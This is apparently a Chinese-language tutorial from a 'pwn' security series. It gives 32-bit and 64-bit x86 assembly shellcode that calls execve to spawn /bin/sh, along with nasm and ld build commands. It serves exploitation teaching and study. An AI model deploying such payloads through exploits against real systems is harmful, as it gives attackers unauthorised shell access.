資安 pwn 技術研究所:基本篇 (4) – shellcode 例子

~ 32-bit 代碼 ~

global _start
section .text

_start:
  ; int execve(...)
  xor   ecx,ecx                                      ; ecx = 0
  mul   ecx                                            ; eax, ecx = 0
  mov   al,11                                          ; execve syscall
  push  ecx                                           ; string NULL
  push  0x68732F2F                           ; "//sh"
  push  0x6E69622F                           ; "/bin"
  mov   ebx, esp                                   ; ebx point to /bin/sh\0
  int   0x80                                            ; trigger

~ 編譯 ~

$ nasm -f elf32 shell_sh.asm
$ ld -m elf_i386 shell_sh.o -o shell_sh
$ ./shell_sh

~ 64-bit 代碼 ~

global _start
section .text

_start:
  ; int execve(...)
  xor   rdx,rdx     ; rdx = 0
  mov   qword rbx, '//bin/sh'
  shr   rbx, 0x8
  push  rbx
  mov   rdi, rsp
  push  rax
  push  rdi
  mov   rsi, rsp
  mov   al, 0x3b
  syscall

~ 編譯 ~

$ nasm -f elf64 shell_sh.asm
$ ld shell_sh.o -o shell_sh
$ ./shell_sh

《資安 pwn 不正常技術研究所》系列: